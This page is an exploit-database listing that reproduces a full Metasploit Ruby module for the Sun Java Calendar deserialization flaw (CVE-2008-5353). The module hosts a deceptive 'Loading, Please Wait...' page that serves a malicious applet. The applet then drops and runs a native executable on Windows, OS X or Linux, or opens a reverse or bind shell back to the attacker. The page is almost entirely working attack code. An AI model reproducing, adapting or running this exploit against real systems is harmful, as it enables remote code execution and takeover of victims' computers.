Sploitus

Sun Java Runtime and Development Kit <= 6 Update 10 - Calendar Deserialization Exploit

seebug · 2014-07-01

Exploit Code

ruby161 lines
## https://sploitus.com/exploit?id=SSV:66998
##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;
require &#39;rex&#39;

class Metasploit3 &#60; Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpServer::HTML
	
	def initialize( info = {} )
	
		super( update_info( info,
			&#39;Name&#39;					=&#62; &#39;Sun Java Calendar Deserialization Exploit&#39;,
			&#39;Description&#39;		=&#62; %q{
				This module exploits a flaw in the deserialization of Calendar objects in the Sun JVM.
				
				The payload can be either a native payload which is generated as an executable and 
				dropped/executed on the target or a shell from within the Java applet in the target browser.
				
				The effected Java versions are JDK and JRE 6 Update 10 and earlier, JDK and JRE 5.0 Update 16 
				and earlier, SDK and JRE 1.4.2_18 and earlier (SDK and JRE 1.3.1 are not affected).
			},
			&#39;License&#39;				=&#62; MSF_LICENSE,
			&#39;Author&#39;				=&#62; [ &#39;sf&#39;, &#39;hdm&#39; ],
			&#39;Version&#39;       =&#62; &#39;1&#39;,
			&#39;References&#39;		=&#62; 
			[
				[ &#39;CVE&#39;, &#39;2008-5353&#39; ],
				[ &#39;OSVDB&#39;, &#39;50500&#39;],
				[ &#39;URL&#39;, &#39;http://slightlyrandombrokenthoughts.blogspot.com/2008/12/calendar-bug.html&#39; ],
				[ &#39;URL&#39;, &#39;http://landonf.bikemonkey.org/code/macosx/CVE-2008-5353.20090519.html&#39; ],
				[ &#39;URL&#39;, &#39;http://blog.cr0.org/2009/05/write-once-own-everyone.html&#39; ],
				[ &#39;URL&#39;, &#39;http://sunsolve.sun.com/search/document.do?assetkey=1-26-244991-1&#39; ] 
			],
			&#39;Platform&#39;     =&#62; [ &#39;win&#39;, &#39;osx&#39;, &#39;linux&#39;, &#39;solaris&#39; ],
			&#39;Payload&#39;      =&#62; { &#39;Space&#39; =&#62; 2048, &#39;BadChars&#39; =&#62; &#39;&#39;, &#39;DisableNops&#39; =&#62; true },
			&#39;Targets&#39;      =&#62;
				[
					[ &#39;Generic (Java Payload)&#39;, 
						{
							# This is a bad hack to force only the generic/shell_bind_tcp and generic/shell_reverse_tcp payloads
							&#39;Platform&#39; =&#62; [&#39;win&#39;],
							&#39;Payload&#39; =&#62; { &#39;Space&#39; =&#62; 0 },
							&#39;Arch&#39; =&#62; ARCH_CMD,
						}
					],
					[ &#39;Windows x86 (Native Payload)&#39;, 
						{
							&#39;Platform&#39; =&#62; &#39;win&#39;,
							&#39;Arch&#39; =&#62; ARCH_X86,
						}
					],
					[ &#39;Mac OS X PPC (Native Payload)&#39;, 
						{
							&#39;Platform&#39; =&#62; &#39;osx&#39;,
							&#39;Arch&#39; =&#62; ARCH_PPC,
						}
					],
					[ &#39;Mac OS X x86 (Native Payload)&#39;, 
						{
							&#39;Platform&#39; =&#62; &#39;osx&#39;,
							&#39;Arch&#39; =&#62; ARCH_X86,
						}
					],
					[ &#39;Linux x86 (Native Payload)&#39;, 
						{
							&#39;Platform&#39; =&#62; &#39;linux&#39;,
							&#39;Arch&#39; =&#62; ARCH_X86, 
						}
					],
				],
			&#39;DefaultTarget&#39;	=&#62; 0
			))
	end


	def on_request_uri( cli, request )
		data = nil
		host = nil
		port = nil

		if not request.uri.match(/\.jar$/i)
			if not request.uri.match(/\/$/)
				send_redirect( cli, get_resource() + &#39;/&#39;, &#39;&#39;)
				return
			end
			
			print_status( &#34;Handling request from #{cli.peerhost}:#{cli.peerport}...&#34; )
			
			payload = regenerate_payload( cli )
			if not payload
				print_status( &#34;Failed to generate the payload.&#34; )
				return
			end
			
			if target.name == &#39;Generic (Java Payload)&#39;
				if datastore[&#39;LHOST&#39;]
					host = datastore[&#39;LHOST&#39;]
					port = datastore[&#39;LPORT&#39;]
					print_status( &#34;Payload will be a Java reverse shell to #{host}:#{port} from #{cli.peerhost}...&#34; )
				else
					port = datastore[&#39;LPORT&#39;]
					datastore[&#39;RHOST&#39;] = cli.peerhost
					print_status( &#34;Payload will be a Java bind shell on #{cli.peerhost}:#{port}...&#34; )
				end
			else
			
				if target[&#39;Arch&#39;] == ARCH_X86
					data = Msf::Util::EXE.to_win32pe( framework, payload.encoded ) if target[&#39;Platform&#39;] == &#39;win&#39;
					data = Msf::Util::EXE.to_osx_x86_macho( framework, payload.encoded ) if target[&#39;Platform&#39;] == &#39;osx&#39; 
					data = Msf::Util::EXE.to_linux_x86_elf( framework, payload.encoded ) if target[&#39;Platform&#39;] == &#39;linux&#39;
				elsif target[&#39;Arch&#39;] == ARCH_PPC
					data = Msf::Util::EXE.to_osx_ppc_macho( framework, payload.encoded ) if target[&#39;Platform&#39;] == &#39;osx&#39;
				end
				
				if data
					print_status( &#34;Generated executable to drop (#{data.length} bytes).&#34; )
					data = Rex::Text.to_hex( data, prefix=&#34;&#34; )
				else
					print_status( &#34;Failed to generate the executable.&#34; )
					return
				end
				
			end
			
			send_response_html( cli, generate_html( data, host, port ), { &#39;Content-Type&#39; =&#62; &#39;text/html&#39; } )	
			return
		end
		
		print_status( &#34;Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}...&#34; )	
		send_response( cli, generate_jar(), { &#39;Content-Type&#39; =&#62; &#34;application/octet-stream&#34; } )

		handler( cli )
	end
	
	def generate_html( data, host, port )
		html  = &#34;&#60;html&#62;&#60;head&#62;&#60;title&#62;Loading, Please Wait...&#60;/title&#62;&#60;/head&#62;&#34;
		html += &#34;&#60;body&#62;&#60;center&#62;&#60;p&#62;Loading, Please Wait...&#60;/p&#62;&#60;/center&#62;&#34;
		html += &#34;&#60;applet archive=\&#34;Applet.jar\&#34; code=\&#34;msf.x.AppletX.class\&#34; width=\&#34;1\&#34; height=\&#34;1\&#34;&#62;&#34;
		html += &#34;&#60;param name=\&#34;data\&#34; value=\&#34;#{data}\&#34;/&#62;&#34; if data
		html += &#34;&#60;param name=\&#34;lhost\&#34; value=\&#34;#{host}\&#34;/&#62;&#34; if host
		html += &#34;&#60;param name=\&#34;lport\&#34; value=\&#34;#{port}\&#34;/&#62;&#34; if port
		html += &#34;&#60;/applet&#62;&#60;/body&#62;&#60;/html&#62;&#34;
		return html
	end
	
	def generate_jar()
		path = File.join( Msf::Config.install_root, &#34;data&#34;, &#34;exploits&#34;, &#34;CVE-2008-5353.jar&#34; )
		fd = File.open( path, &#34;rb&#34; )
		data = fd.read(fd.stat.size)
		fd.close
		return data
	end
	
end